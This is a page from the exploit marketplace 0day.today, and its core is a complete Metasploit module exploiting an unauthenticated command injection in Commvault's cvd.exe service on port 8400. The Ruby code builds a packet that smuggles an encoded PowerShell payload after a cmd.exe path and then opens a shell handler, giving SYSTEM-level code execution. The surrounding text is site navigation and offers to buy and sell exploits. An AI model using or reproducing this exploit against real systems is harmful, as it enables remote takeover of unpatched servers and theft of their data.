0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Commvault Communications Service (cvd) - Command Injection Exploit
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Powershell def initialize(info={}) super(update_info(info, 'Name' => 'Commvault Communications Service (cvd) Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability discovered in Commvault Service v11 SP5 and earlier versions (tested in v11 SP5 and v10). The vulnerability exists in the cvd.exe service and allows an attacker to execute arbitrary commands in the context of the service. By default, the Commvault Communications service installs and runs as SYSTEM in Windows and does not require authentication. This vulnerability was discovered in the Windows version. The Linux version wasn't tested. }, 'License' => MSF_LICENSE, 'Author' => [ 'b0yd', # @rwincey / Vulnerability Discovery and MSF module author ], 'References' => [ ['URL', 'https://www.securifera.com/advisories/sec-2017-0001/'] ], 'Platform' => 'win', 'Targets' => [ [ 'Commvault Communications Service (cvd) / Microsoft Windows 7 and higher', { 'Arch' => [ARCH_X64, ARCH_X86] } ], ], 'Privileged' => true, 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 12 2017')) register_options([Opt::RPORT(8400)]) end def exploit buf = build_exploit print_status("Connecting to Commvault Communications Service.") connect print_status("Executing payload") #Send the payload sock.put(buf) #Handle the shell handler disconnect end def build_exploit #Get encoded powershell of payload command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection') #Remove additional cmd.exe call psh = "powershell" idx = command.index(psh) command = command[(idx)..-1] #Build packet cmd_path = 'C:\Windows\System32\cmd.exe' msg_type = 9 zero = 0 payload = "" payload += make_nops(8) payload += [msg_type].pack('I>') payload += make_nops(328) payload += cmd_path payload += ";" payload += ' /c "' payload += command payload += '" && echo ' payload += "\x00" payload += [zero].pack('I>') #Add length header and payload ret_data = [payload.length].pack('I>') ret_data += payload ret_data end end # 0day.today [2024-07-02] #